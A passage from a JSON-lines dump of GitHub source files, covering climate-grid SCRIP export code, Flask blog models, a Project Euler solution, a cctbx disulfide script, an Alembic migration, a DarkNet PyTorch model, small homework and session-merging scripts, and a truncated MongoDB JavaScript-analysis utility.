self.lonCorner = lonCorner\n self.lon = 0.5*(lonCorner[0:-1] + lonCorner[1:])\n self.lat = 0.5*(latCorner[0:-1] + latCorner[1:])\n self.units = units\n self.history = sys.argv[:]\n self._set_coords('lat', 'lon', 'lat', 'lon') # }}}\n\n def to_scrip(self, scripFileName): # {{{\n '''\n Given a lat-lon grid file, create a SCRIP file based on the grid.\n\n Parameters\n ----------\n scripFileName : str\n The path to which the SCRIP file should be written\n\n Authors\n ------\n Xylar Asay-Davis\n '''\n self.scripFileName = scripFileName\n\n outFile = netCDF4.Dataset(scripFileName, 'w')\n\n nLat = len(self.lat)\n nLon = len(self.lon)\n\n grid_size = nLat*nLon\n\n _create_scrip(outFile, grid_size=grid_size, grid_corners=4,\n grid_rank=2, units=self.units, meshName=self.meshName)\n\n (Lon, Lat) = numpy.meshgrid(self.lon, self.lat)\n (LonCorner, LatCorner) = numpy.meshgrid(self.lonCorner, self.latCorner)\n\n outFile.variables['grid_center_lat'][:] = Lat.flat\n outFile.variables['grid_center_lon'][:] = Lon.flat\n outFile.variables['grid_dims'][:] = [nLon, nLat]\n outFile.variables['grid_imask'][:] = 1\n\n outFile.variables['grid_corner_lat'][:] = _unwrap_corners(LatCorner)\n outFile.variables['grid_corner_lon'][:] = _unwrap_corners(LonCorner)\n\n setattr(outFile, 'history', self.history)\n\n outFile.close() # }}}\n\n def _set_coords(self, latVarName, lonVarName, latDimName,\n lonDimName): # {{{\n '''\n Set up a coords dict with lat and lon\n '''\n self.latVarName = latVarName\n self.lonVarName = lonVarName\n self.coords = {latVarName: {'dims': latDimName,\n 'data': self.lat,\n 'attrs': {'units': self.units}},\n lonVarName: {'dims': lonDimName,\n 'data': self.lon,\n 'attrs': {'units': self.units}}}\n\n self.dims = [latDimName, lonDimName]\n self.dimSize = [len(self.lat), len(self.lon)]\n\n # set the name of the grid\n dLat = self.lat[1]-self.lat[0]\n dLon = self.lon[1]-self.lon[0]\n if 'degree' in self.units:\n units = 'degree'\n elif 'rad' in self.units:\n units = 'radian'\n else:\n raise ValueError('Could not figure out units {}'.format(\n self.units))\n if self.meshName is None:\n self.meshName = '{}x{}{}'.format(abs(dLat), abs(dLon), units)\n # }}}\n\n\nclass ProjectionGridDescriptor(MeshDescriptor): # {{{\n '''\n A class for describing a general logically rectangular grid that can be\n defined by a `pyproj` projection.\n\n Author\n ------\n Xylar Asay-Davis\n '''\n\n def __init__(self, projection): # {{{\n '''\n Constructor stores the projection\n\n Parameters\n ----------\n projection : pyproj.Proj object\n The projection used to map from grid x-y space to latitude and\n longitude\n\n Author\n ------\n Xylar Asay-Davis\n '''\n self.projection = projection\n self.latLonProjection = pyproj.Proj(proj='latlong', datum='WGS84')\n self.regional = True\n\n def read(self, fileName, meshName=None, xVarName='x', yVarName='y'): # {{{\n '''\n Given a grid file with x and y coordinates defining the axes of the\n logically rectangular grid, read in the x and y coordinates and\n interpolate/extrapolate to locate corners.\n\n Parameters\n ----------\n fileName : str\n The path of the file containing the grid data\n\n meshName : str, optional\n The name of the grid (e.g. ``'10km_Antarctic_stereo'``). If not\n provided, the data set in ``fileName`` must have a global\n attribute ``meshName`` that will be used instead.\n\n xVarName, yVarName : str, optional\n The name of the x and y (in meters) variables in the grid file\n\n Authors\n ------\n Xylar Asay-Davis\n '''\n\n ds = xarray.open_dataset(fileName)\n\n if meshName is None:\n if 'meshName' not in ds.attrs:\n raise ValueError('No meshName provided or found in file.')\n self.meshName = ds.attrs['meshName']\n else:\n self.meshName = meshName\n\n # Get info from input file\n self.x = numpy.array(ds[xVarName].values, float)\n self.y = numpy.array(ds[yVarName].values, float)\n\n self._set_coords(xVarName, yVarName, ds[xVarName].dims[0],\n ds[yVarName].dims[0])\n\n # interp/extrap corners\n self.xCorner = _interp_extrap_corner(self.x)\n self.yCorner = _interp_extrap_corner(self.y)\n\n # Update history attribute of netCDF file\n if 'history' in ds.attrs:\n self.history = '\\n'.join([ds.attrs['history'],\n ' '.join(sys.argv[:])])\n else:\n self.history = sys.argv[:] # }}}\n\n def create(self, x, y, meshName): # {{{\n '''\n Given x and y coordinates defining the axes of the logically\n rectangular grid, save the coordinates interpolate/extrapolate to\n locate corners.\n\n Parameters\n ----------\n x, y : 1D numpy.arrays\n One dimensional arrays defining the x and y coordinates of grid\n cell centers.\n\n meshName : str\n The name of the grid (e.g. ``'10km_Antarctic_stereo'``)\n\n Author\n ------\n Xylar Asay-Davis\n '''\n\n self.meshName = meshName\n\n self.x = x\n self.y = y\n\n self._set_coords('x', 'y', 'x', 'y')\n\n # interp/extrap corners\n self.xCorner = _interp_extrap_corner(self.x)\n self.yCorner = _interp_extrap_corner(self.y)\n self.history = sys.argv[:] # }}}\n\n def to_scrip(self, scripFileName): # {{{\n '''\n Create a SCRIP file based on the grid and projection.\n\n Parameters\n ----------\n scripFileName : str\n The path to which the SCRIP file should be written\n\n Authors\n ------\n Xylar Asay-Davis\n '''\n self.scripFileName = scripFileName\n\n outFile = netCDF4.Dataset(scripFileName, 'w')\n\n nx = len(self.x)\n ny = len(self.y)\n\n grid_size = nx*ny\n\n _create_scrip(outFile, grid_size=grid_size, grid_corners=4,\n grid_rank=2, units='degrees', meshName=self.meshName)\n\n (X, Y) = numpy.meshgrid(self.x, self.y)\n (XCorner, YCorner) = numpy.meshgrid(self.xCorner, self.yCorner)\n\n (Lat, Lon) = self.project_to_lat_lon(X, Y)\n (LatCorner, LonCorner) = self.project_to_lat_lon(XCorner, YCorner)\n\n outFile.variables['grid_center_lat'][:] = Lat.flat\n outFile.variables['grid_center_lon'][:] = Lon.flat\n outFile.variables['grid_dims'][:] = [nx, ny]\n outFile.variables['grid_imask'][:] = 1\n\n outFile.variables['grid_corner_lat'][:] = _unwrap_corners(LatCorner)\n outFile.variables['grid_corner_lon'][:] = _unwrap_corners(LonCorner)\n\n setattr(outFile, 'history', self.history)\n\n outFile.close() # }}}\n\n def project_to_lat_lon(self, X, Y): # {{{\n '''\n Given X and Y locations of points in a projection, returns the\n corresponding latitude and longitude of each point.\n\n Parameters\n ----------\n outFile : file pointer\n A SCRIP file opened in write mode\n\n X, Y : 1D or 2D numpy.array\n X and y arrays of points in in the projection\n\n Returns\n -------\n Lat, Lon : numpy.array with same shape as X and Y\n the latitude and longitude in degrees of the points\n\n Authors\n ------\n Xylar Asay-Davis\n '''\n\n Lon, Lat = pyproj.transform(self.projection, self.latLonProjection,\n X, Y, radians=False)\n\n return (Lat, Lon) # }}}\n\n def _set_coords(self, xVarName, yVarName, xDimName, yDimName): # {{{\n '''\n Set up a coords dict with x, y, lat and lon\n '''\n (X, Y) = numpy.meshgrid(self.x, self.y)\n (Lat, Lon) = self.project_to_lat_lon(X, Y)\n\n self.coords = {xVarName: {'dims': xDimName,\n 'data': self.x,\n 'attrs': {'units': 'meters'}},\n yVarName: {'dims': yDimName,\n 'data': self.y,\n 'attrs': {'units': 'meters'}},\n 'lat': {'dims': (xDimName, yDimName),\n 'data': Lat,\n 'attrs': {'units': 'degrees'}},\n 'lon': {'dims': (xDimName, yDimName),\n 'data': Lon,\n 'attrs': {'units': 'degrees'}}}\n\n self.dims = [xDimName, yDimName]\n self.dimSize = [len(self.x), len(self.y)]\n # }}}\n\n\ndef _create_scrip(outFile, grid_size, grid_corners, grid_rank, units,\n meshName): # {{{\n '''\n Given a SCRIP files, creates common variables and writes common values used\n in various types of SCRIP files.\n\n Parameters\n ----------\n outFile : file pointer\n A SCRIP file opened in write mode\n\n grid_size : int\n The number of elements in the grid or mesh\n\n grid_corners : int\n The number of corners in the grid or mesh\n\n grid_rank : int\n The dimensionality of the grid (1 for mesh, 2 for grid)\n\n units : {'degrees', 'radians'}\n The units for latitude and longitude\n\n meshName : str\n The name of the mesh\n\n Authors\n ------\n Xylar Asay-Davis\n '''\n # Write to output file\n # Dimensions\n outFile.createDimension(\"grid_size\", grid_size)\n outFile.createDimension(\"grid_corners\", grid_corners)\n outFile.createDimension(\"grid_rank\", grid_rank)\n\n # Variables\n grid_center_lat = outFile.createVariable('grid_center_lat', 'f8',\n ('grid_size',))\n grid_center_lat.units = units\n grid_center_lon = outFile.createVariable('grid_center_lon', 'f8',\n ('grid_size',))\n grid_center_lon.units = units\n grid_corner_lat = outFile.createVariable('grid_corner_lat', 'f8',\n ('grid_size', 'grid_corners'))\n grid_corner_lat.units = units\n grid_corner_lon = outFile.createVariable('grid_corner_lon', 'f8',\n ('grid_size', 'grid_corners'))\n grid_corner_lon.units = units\n grid_imask = outFile.createVariable('grid_imask', 'i4', ('grid_size',))\n grid_imask.units = 'unitless'\n outFile.createVariable('grid_dims', 'i4', ('grid_rank',))\n\n outFile.meshName = meshName\n # }}}\n\n\ndef _interp_extrap_corner(inField): # {{{\n '''Interpolate/extrapolate a 1D field from grid centers to grid corners'''\n\n outField = numpy.zeros(len(inField)+1)\n outField[1:-1] = 0.5*(inField[0:-1] + inField[1:])\n # extrapolate the ends\n outField[0] = 1.5*inField[0] - 0.5*inField[1]\n outField[-1] = 1.5*inField[-1] - 0.5*inField[-2]\n return outField # }}}\n\n\ndef _unwrap_corners(inField):\n '''Turn a 2D array of corners into an array of rectangular mesh elements'''\n outField = numpy.zeros(((inField.shape[0]-1)*(inField.shape[1]-1), 4))\n # corners are counterclockwise\n outField[:, 0] = inField[0:-1, 0:-1].flat\n outField[:, 1] = inField[0:-1, 1:].flat\n outField[:, 2] = inField[1:, 1:].flat\n outField[:, 3] = inField[1:, 0:-1].flat\n\n return outField\n\n# vim: ai ts=4 sts=4 et sw=4 ft=python\n","repo_name":"doutriaux1/MPAS-Analysis","sub_path":"mpas_analysis/shared/grid/grid.py","file_name":"grid.py","file_ext":"py","file_size_in_byte":20045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"30"} +{"seq_id":"26680948663","text":"# -*- coding: utf-8 -*-\n\"\"\"User models\"\"\"\n\nimport datetime as dt\n\nfrom flask import Markup\nfrom slugify import UniqueSlugify\n\nfrom buggy.database import (Column, Model, SurrogatePK, db, reference_col,\n relationship)\n\n# ManyToMany stuff\ntags_association_table = db.Table(\n 'association',\n Model.metadata,\n Column('posts_pk', db.Integer, db.ForeignKey('posts.id')),\n Column('tags_pk', db.Integer, db.ForeignKey('tags.name'))\n)\n\n\nclass Post(SurrogatePK, Model):\n \"\"\"Posts model\"\"\"\n\n __tablename__ = 'posts'\n title = Column(db.String(200), nullable=False)\n created_at = Column(\n db.DateTime, nullable=False, default=dt.datetime.utcnow\n )\n raw_content = Column(db.Text(), nullable=False)\n user_id = reference_col('users', nullable=True)\n user = relationship('User', backref='posts')\n related_tags = relationship(\n 'Tag',\n secondary=tags_association_table,\n back_populates='related_posts',\n )\n slug = Column(\n db.String(50), nullable=True, unique=True\n )\n\n def __init__(self, title, **kwargs):\n \"\"\"Forces to create instance with specific arguments.\"\"\"\n db.Model.__init__(self, title=title, **kwargs)\n\n def __repr__(self):\n \"\"\"Represent instance as a unique string.\"\"\"\n return ''.format(title=self.title)\n\n @property\n def content(self):\n return Markup(self.raw_content)\n\n @property\n def cute_date(self):\n \"\"\"Date cutifier.\"\"\"\n return self.created_at.strftime('Created %d, %b %Y')\n\n @classmethod\n def unique_post_slug_checker(cls, text, uids):\n \"\"\"\n Checks if slug already exists.\n Used in slugify.UniqueSlug from awesome-slugify.\n \"\"\"\n if text in uids:\n return False\n return not Post.query.filter(Post.slug == text).first()\n\n @classmethod\n def make_slug(cls, title):\n \"\"\"\n Redefined to create unique post slug from title.\n \"\"\"\n slugify_title = UniqueSlugify(\n unique_check=Post.unique_post_slug_checker,\n to_lower=True,\n max_length=50\n )\n return slugify_title(title)\n\n\nclass Tag(Model):\n \"\"\"Post tags model\"\"\"\n\n __tablename__ = 'tags'\n name = Column(db.String(100), primary_key=True)\n related_posts = relationship(\n 'Post',\n secondary=tags_association_table,\n back_populates='related_tags',\n )\n\n def __str__(self):\n return self.name\n\n def __repr__(self):\n return ''.format(name=self.name)\n\n @classmethod\n def clean_unattached_tags(cls):\n \"\"\"Cleans all tags, that are not attached to any post.\"\"\"\n tags = cls.query.all()\n for tag in tags:\n if not tag.related_posts:\n tag.delete()\n","repo_name":"0x29a/buggy","sub_path":"buggy/post/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"44106182076","text":"# Matt Zhang\r\n# 2014-01-06\r\n# Python 3.3.3\r\n\r\n# Everything below 10, when raised to the nth power, will not be able to keep up with n.\r\n# Anything above 10 would have more than n digits. Therefore, we're only looking for\r\n# numbers between 1-9, raised to some powers.\r\n\r\ncount=0\r\nfor n in range(1,10):\r\n for power in range(1,100):\r\n raised=n**power\r\n if raised>10**(power-1)-1 and raised<10**power:\r\n count+=1\r\n print(raised)\r\n elif raised>10**power:\r\n break\r\nprint('There are',count,'such numbers.')\r\n","repo_name":"MattUnderscoreZhang/ProgrammingExercises","sub_path":"ProjectEuler/OldAnswers/problem_063.py","file_name":"problem_063.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"18078643230","text":"from __future__ import absolute_import, division, print_function\nimport sys\n\ndef create_model_mmtbx(path_to_pdb_file):\n import mmtbx.model\n import iotbx.pdb\n from libtbx.utils import null_out\n pdb_inp = iotbx.pdb.input(file_name = path_to_pdb_file)\n params = mmtbx.model.manager.get_default_pdb_interpretation_params()\n model = mmtbx.model.manager(\n model_input = pdb_inp,\n pdb_interpretation_params = params,\n build_grm = True,\n stop_for_unknowns = False,\n log = null_out())\n return model\n\ndef create_hierarchy_from_model(model):\n return model.get_hierarchy()\n\ndef get_ssbond_proxies(grm):\n from cctbx.geometry_restraints.linking_class import linking_class\n origin_ids = linking_class()\n specific_origin_id = origin_ids.get_origin_id('SS BOND')\n #origin id selects for a particular kind of bond in this case ssbond\n #see modules/cctbx_project/cctbx/geometry_restraints/auto_linking_types.py for supported interaction types\n #see modules/cctbx_project/cctbx/geometry_restraints/manager.py for additional sample code\n\n pair_proxies = grm.pair_proxies()\n return(pair_proxies.bond_proxies.simple.proxy_select(origin_id=specific_origin_id))\n\ndef get_ssbond_proxies_asu(grm):\n #*a*s*ymmetric *u*nit bond proxies. Should find bonds between symmetry mates, etc.\n #I don't have this quite working yet\n from cctbx.geometry_restraints.linking_class import linking_class\n origin_ids = linking_class()\n specific_origin_id = origin_ids.get_origin_id('SS BOND')\n\n pair_proxies = grm.pair_proxies()\n return(pair_proxies.bond_proxies.asu.proxy_select(origin_id=specific_origin_id))\n\ndef get_residue_identity_from_atom(atom):\n ag = atom.parent()\n rg = ag.parent()\n chain = rg.parent()\n resname = ag.resname\n resseq = rg.resseq\n icode = rg.icode\n altloc = ag.altloc\n chainid = chain.id\n return \":\".join([chainid,resname,altloc,resseq,icode])\n\ndef get_bfactor_from_atom(atom):\n return atom.b\n\ndef get_occupancy_from_atom(atom):\n return atom.occ\n\ndef get_atom_coordinates(atom):\n return {\"x\":atom.xyz[0],\n \"y\":atom.xyz[1],\n \"z\":atom.xyz[2]}\n\n#accept a pdb file as a commandline argument\npath_to_pdb_file = sys.argv[1]\n#get a high level model object from which other objects are derived\n#get a hierachy object for most of our needs\n#get a geometry restraints manager (grm for short)\n# The grm is aware of what atoms are bonded to each other\nmodel = create_model_mmtbx(path_to_pdb_file)\nhierarchy = create_hierarchy_from_model(model)\ngrm = model.get_restraints_manager().geometry\n\n\nssbond_proxies_simple = get_ssbond_proxies(grm)\n###printing for proxy contents\n#for simple_proxy in ssbond_proxies_simple:\n# for thing in dir(simple_proxy):\n# print(thing)\n# sys.exit()\nssbond_proxies_asu = get_ssbond_proxies_asu(grm)\n###printing for proxy contents\n#for asu_proxy in ssbond_proxies_asu:\n# for thing in dir(asu_proxy):\n# print(thing)\n# sys.exit()\n\n#bond proxies are objects that represent covalent bonds (or other) in a structure\n#For us, the useful part is bond_proxy.i_seqs, which will let us look up the atoms in each bond\n# proxy.i_seqs = (89, 2027), for example\n#bond_proxy.i_seqs is a tuple containing two integer indices. The indices map to a list of atoms in the hierarchy.atoms()\n\n\nall_atoms = hierarchy.atoms() #a list of all atoms in the hierarchy, its indices are the proxy i_seqs\n\nprint(\"SIMPLE\")\nfor proxy in ssbond_proxies_simple:\n atom1 = all_atoms[proxy.i_seqs[0]]\n atom2 = all_atoms[proxy.i_seqs[1]]\n print(get_residue_identity_from_atom(atom1), atom1.name, atom1.xyz)\n print(get_residue_identity_from_atom(atom2), atom2.name, atom2.xyz)\n print(\"--------------------------------------------------------------------------------\")\n\n### asu proxies (that's *a*s*ymmetric *u*nit) find ssbonds across crystal contacts or symmetry mates\n###this is where the 0-length and 10+length ssbonds are proberly recorded\n###however, looking them up by i_seqs doesn't work\n###We'll revisit this once I learn a bit more\n#print(\"\\nASU\")\n#for proxy in ssbond_proxies_asu:\n# atom1 = all_atoms[proxy.i_seqs[0]]\n# atom2 = all_atoms[proxy.i_seqs[1]]\n# print(get_residue_identity_from_atom(atom1), atom1.name, atom1.xyz)\n# print(get_residue_identity_from_atom(atom2), atom2.name, atom2.xyz)\n# print(\"--------------------------------------------------------------------------------\")\n","repo_name":"rlabduke/disulfide_research","sub_path":"cctbx_reference/ssbond_proxies_from_cctbx.py","file_name":"ssbond_proxies_from_cctbx.py","file_ext":"py","file_size_in_byte":4352,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"30"} +{"seq_id":"1691112282","text":"\"\"\"updated chat_message_data\n\nRevision ID: 6dc31e06724f\nRevises: 80007365146d\nCreate Date: 2023-05-01 08:18:04.704900\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '6dc31e06724f'\ndown_revision = '80007365146d'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n with op.batch_alter_table('chat_message_data', schema=None) as batch_op:\n batch_op.alter_column('conversation_id',\n existing_type=sa.INTEGER(),\n nullable=False)\n batch_op.drop_column('message_number')\n\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n with op.batch_alter_table('chat_message_data', schema=None) as batch_op:\n batch_op.add_column(sa.Column('message_number', sa.INTEGER(), nullable=True))\n batch_op.alter_column('conversation_id',\n existing_type=sa.INTEGER(),\n nullable=True)\n\n # ### end Alembic commands ###\n","repo_name":"demstar16/examGPT","sub_path":"migrations/versions/6dc31e06724f_updated_chat_message_data.py","file_name":"6dc31e06724f_updated_chat_message_data.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"12816556848","text":"from django.utils.translation import gettext_lazy as _\n\nMULTI_FURNITURE_TYPES = [\n ('sofa', _('Sofa')),\n ('table', _('Table')),\n ('bed', _('Bed')),\n ('cupboard', _('Cupboard')),\n]\nSOLO_FURNITURE_TYPES = [\n ('chair', _('Chair')),\n ('desk', _('Desk')),\n]\nRIGIDITY = (\n ('soft', _('Soft')),\n ('medium', _('Medium')),\n ('solid', _('Solid')),\n)\nMASSAGE = (\n ('none', _('None')),\n ('slow', _('Slow')),\n ('medium', _('Medium')),\n ('rapid', _('Rapid')),\n)\nPRIME_FURNITURE_TYPES = [\n 'sofa',\n 'bed',\n 'chair',\n]\n","repo_name":"MikeHoangg/smart-furniture","sub_path":"smartfurnitureapi/types.py","file_name":"types.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"3056868324","text":"from torch import nn\nfrom config import config\nfrom tools.model_tools import print_model_parm_nums\n\n#DarkNet\n\ndef conv_bn_lrelu(ni:int, nf:int, ks:int=3, stride:int=1):\n #\"Create a seuence Conv2d->BatchNorm2d->LeakyReLu layer.\"\n return nn.Sequential(\n nn.Conv2d(ni, nf, kernel_size=ks, bias=False, stride=stride, padding=ks//2),\n nn.BatchNorm2d(nf),\n nn.LeakyReLU(negative_slope=0.1, inplace=True))\n\nclass ResLayer(nn.Module):\n \"Resnet style layer with `ni` inputs.\"\n def __init__(self, ni:int):\n super(ResLayer, self ).__init__() \n self.conv1 = conv_bn_lrelu(ni, ni//2, ks=1)\n self.conv2 = conv_bn_lrelu(ni//2, ni, ks=3)\n\n def forward(self, x): return x + self.conv2(self.conv1(x))\n\nclass Darknet(nn.Module):\n def make_group_layer(self, ch_in:int, num_blocks:int, stride:int=1):\n \"starts with conv layer - `ch_in` channels in - then has `num_blocks` `ResLayer`\"\n return [conv_bn_lrelu(ch_in, ch_in*2,stride=stride)\n ] + [(ResLayer(ch_in*2)) for i in range(num_blocks)]\n\n def __init__(self, num_blocks:list, num_classes:int, nf=32):\n super( Darknet, self ).__init__() \n \"create darknet with `nf` and `num_blocks` layers\"\n layers = [conv_bn_lrelu(3, nf, ks=3, stride=1)]\n for i,nb in enumerate(num_blocks):\n layers += self.make_group_layer(nf, nb, stride=2)\n nf *= 2\n layers += [nn.AdaptiveAvgPool2d(1),nn.Flatten(), nn.Linear(nf, num_classes)]\n self.layers = nn.Sequential(*layers)\n # self._init_weight()\n \n def _init_weight(self):\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\n m.weight.data.normal_(0, math.sqrt(2. / n))\n elif isinstance(m, nn.BatchNorm2d):\n m.weight.data.fill_(1)\n m.bias.data.zero_()\n\n def forward(self, x): return self.layers(x)\n \ndef get_darknet_net():\n model = Darknet([1,2,8,8,4],config.num_classes)\n print_model_parm_nums(model)\n return model","repo_name":"passerer/EZ-Classification","sub_path":"models/DarkNet.py","file_name":"DarkNet.py","file_ext":"py","file_size_in_byte":2111,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"9514597993","text":"def erinevad_sümbolid(sõne):\n hulk = set()\n for täht in sõne:\n hulk.add(täht)\n return hulk\n\n#print(erinevad_sümbolid(\"hulk ei sisalda kunagi korduvaid elemente\"))\n\n\ndef sümbolite_sagedus(sõne):\n tähed = {}\n for täht in sõne:\n if täht in tähed:\n tähed[täht] = tähed[täht] + 1\n else:\n tähed[täht] = 1\n return tähed\n \n#print(sümbolite_sagedus(\"Hei hopsti, väikevend!\"))\n\ndef grupeeri(sõne):\n \n grupp = {}\n t2is = \"\"\n kaas = \"\"\n muu = \"\"\n \n for täht in sõne:\n if täht in {\"a\",\"e\",\"i\",\"o\",\"u\",\"õ\",\"ä\",\"ö\",\"ü\",\"A\",\"E\",\"I\",\"O\",\"U\",\"Õ\",\"Ä\",\"Ö\",\"Ü\"}:\n t2is = t2is+täht\n elif täht in {\"b\",\"c\",\"d\",\"f\",\"g\",\"h\",\"j\",\"k\",\"l\",\"m\",\"n\",\"p\",\"q\",\"r\",\"s\",\"š\",\"z\",\"ž\",\"t\",\"v\",\"w\",\"x\",\"y\",\n \"B\",\"C\",\"D\",\"F\",\"G\",\"H\",\"J\",\"K\",\"L\",\"M\",\"N\",\"P\",\"Q\",\"R\",\"S\",\"Š\",\"Z\",\"Ž\",\"T\",\"V\",\"W\",\"X\",\"Y\"}:\n kaas = kaas+täht\n else:\n muu = muu+täht\n\n t2is = sümbolite_sagedus(t2is)\n hulk = set()\n for symbol in t2is:\n hulk.add((symbol, t2is[symbol]))\n grupp['Täishäälikud'] = hulk\n\n kaas = sümbolite_sagedus(kaas)\n hulk = set()\n for symbol in kaas:\n hulk.add((symbol, kaas[symbol]))\n grupp['Kaashäälikud'] = hulk\n\n muu = sümbolite_sagedus(muu)\n hulk = set()\n for symbol in muu:\n hulk.add((symbol, muu[symbol]))\n grupp['Muud'] = hulk\n \n return grupp","repo_name":"ArR4e/DSProject","sub_path":"processed/K10/S292/kodu1.py","file_name":"kodu1.py","file_ext":"py","file_size_in_byte":1486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"15096945084","text":"import argparse\nimport os\n\ndef main():\n\n for i in range(n_sessions):\n os.system('mv '+dir+'*s'+str(i+1)+'_fetch.pickle '+exp)\n os.system('python3 merge.py '+exp+' -t '+tag+'session'+str(i+1)+'_fetch')\n os.system('mv '+exp+'/isolated_session* '+out)\n os.system('mv '+exp+'/* '+dir)\n\n os.system('mv '+dir+'*s'+str(i+1)+'_reply.pickle '+exp)\n os.system('python3 merge.py '+exp+' -t '+tag+'session'+str(i+1)+'_reply')\n os.system('mv '+exp+'/isolated_session* '+out)\n os.system('mv '+exp+'/* '+dir)\n\n return\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('dir', type=str, default=None, help='The directory where the files are (default: %(default)s)')\n parser.add_argument('exp_dir', type=str, default=None, help='The directory where the merge will occur (default: %(default)s)')\n parser.add_argument('out', type=str, default=None, help='The directory where the output will be saved (default: %(default)s)')\n parser.add_argument('-p', type=int, default=10, help='The number of probes (default: %(default)s)')\n parser.add_argument('-s', type=int, default=4, help='The number of probing sessions per round (default: %(default)s)')\n parser.add_argument('-r', type=int, default=50, help='The number of experiment rounds (default: %(default)s)')\n parser.add_argument('-t', type=str, default='', help='A tag to be appended to the output filename (should end in \\'_\\') (default: %(default)s)')\n\n args = parser.parse_args()\n dir = args.dir\n exp = args.exp_dir\n out = args.out\n n_probes = args.p\n n_s = args.s\n n_r = args.r\n tag = args.t\n\n n_sessions = n_s * n_r\n\n main()","repo_name":"AfonsoMCarvalho/Dissector-prototype","sub_path":"experiment/parse_utils/merge_sessions.py","file_name":"merge_sessions.py","file_ext":"py","file_size_in_byte":1710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"34565093708","text":"from dataclasses import asdict\nfrom datetime import datetime\nfrom pymongo import ReturnDocument, ASCENDING\nimport hashlib\nimport json\nimport requests\nfrom bson.binary import Binary\nfrom bson.objectid import ObjectId\nfrom itertools import chain, islice\nfrom utils.features import analyse_script, calculate_ast_vector, identify_control_subfamily, get_script\nfrom utils.models import JavascriptArtefact, JavascriptVectorSummary, DownloadArtefact\n\n\ndef find_or_update_analysis_content(db, m, fail_iff_not_found=False, defensive=False,\n java=None, extractor=None, force=False):\n assert isinstance(m, dict)\n assert all(['js_id' in m, 'url' in m, 'sha256' in m, 'md5' in m, 'size_bytes' in m])\n\n js_id = m.get('js_id')\n assert len(js_id) > 0\n\n # NB: due to an error in processing, I had to throw away the db.analysis_content collection, so records may be missing. Sigh 8th June 2020\n if not force:\n byte_content_doc = db.analysis_content.find_one({ 'js_id': js_id })\n if fail_iff_not_found and byte_content_doc is None: # prevent infinite recursion\n raise ValueError(\"No data for {}\".format(js_id))\n elif byte_content_doc is None:\n print(\"WARNING: unable to locate analysis content for {}\".format(js_id))\n else:\n byte_content_doc = None\n\n if byte_content_doc is None:\n code_bytes, js_id = get_script(db, js_id)\n assert code_bytes is not None\n jsr = JavascriptArtefact(url=m.get('url'), sha256=m.get('sha256'), md5=m.get('md5'), size_bytes=m.get('size_bytes'), js_id=js_id)\n vector_as_bytes, failed, stderr = analyse_script(code_bytes, jsr, java=java, feature_extractor=extractor)\n if failed:\n raise ValueError(\"Could not analyse artefact: js_id={}\\n{}\".format(js_id, stderr))\n save_analysis_content(db, jsr, vector_as_bytes)\n\n if defensive:\n # check that artefact hashes match the actual content \n assert hashlib.sha256(code_bytes).hexdigest() == m.get('sha256')\n return find_or_update_analysis_content(db, m, fail_iff_not_found=True) # this time it should be found!\n\n assert 'analysis_bytes' in byte_content_doc\n byte_content = byte_content_doc.get('analysis_bytes')\n assert isinstance(byte_content, bytes)\n return json.loads(byte_content.decode())\n\ndef save_artefact(db, artefact, root, content=None, inline=False, content_type='text/javascript', defensive=False):\n \"\"\"\n Saves the content to Mongo as specified by root/artefact.path and then the record of the save to Kafka (topic to) for downstream processing\n \"\"\"\n assert db is not None\n assert content is not None or (root is not None and artefact.path is not None)\n \n if content is None: \n path = \"{}/{}\".format(root, artefact.path)\n content = None\n with open(path, 'rb') as fp:\n content = fp.read()\n assert isinstance(content, bytes)\n\n d, js_id, was_cached = save_script(db, artefact, content)\n assert len(js_id) > 0\n assert 'sha256' in d\n assert 'md5' in d\n assert 'size_bytes' in d\n d.update({ 'url': artefact.url,\n 'inline': inline,\n 'content-type': content_type,\n 'when': artefact.when,\n 'origin': artefact.origin,\n 'js_id': js_id })\n return (d, was_cached)\n\ndef save_analysis_content(db, jsr: JavascriptArtefact, bytes_content: bytes, ensure_indexes=False, iff_not_exists=False):\n assert bytes_content is not None\n js_id = jsr.js_id\n assert len(js_id) > 0\n assert isinstance(bytes_content, bytes) # to ensure correct behaviour\n\n if ensure_indexes:\n db.analysis_content.create_index([( 'js_id', ASCENDING ) ], unique=True)\n\n # do not perform an update iff existing analysis? \n if iff_not_exists:\n # https://blog.serverdensity.com/checking-if-a-document-exists-mongodb-slow-findone-vs-find/ \n # dont do the update below if the analysis content already exists...\n cursor = db.analysis_content.find({'js_id': js_id }, {'js_id': 1}).limit(1)\n if cursor is not None: # data exists, so we dont update\n print(\"Found hit for {}\".format(js_id))\n return False\n\n # lookup artefact by ID - altered content will get a new ID as long as its sha256 hash isnt already known\n d = asdict(jsr)\n d.update({ \"analysis_bytes\": Binary(bytes_content), 'last_updated': datetime.utcnow() })\n ret = db.analysis_content.find_one_and_update({ \"js_id\": js_id }, { \"$set\": d }, upsert=True)\n print(\"Saved analysis content for {}\".format(js_id))\n return True\n\ndef next_artefact(iterable, max: float, filter_cb: callable, verbose=False):\n n = 0\n for message in filter(lambda m: filter_cb is None or filter_cb(m.value), iterable):\n yield 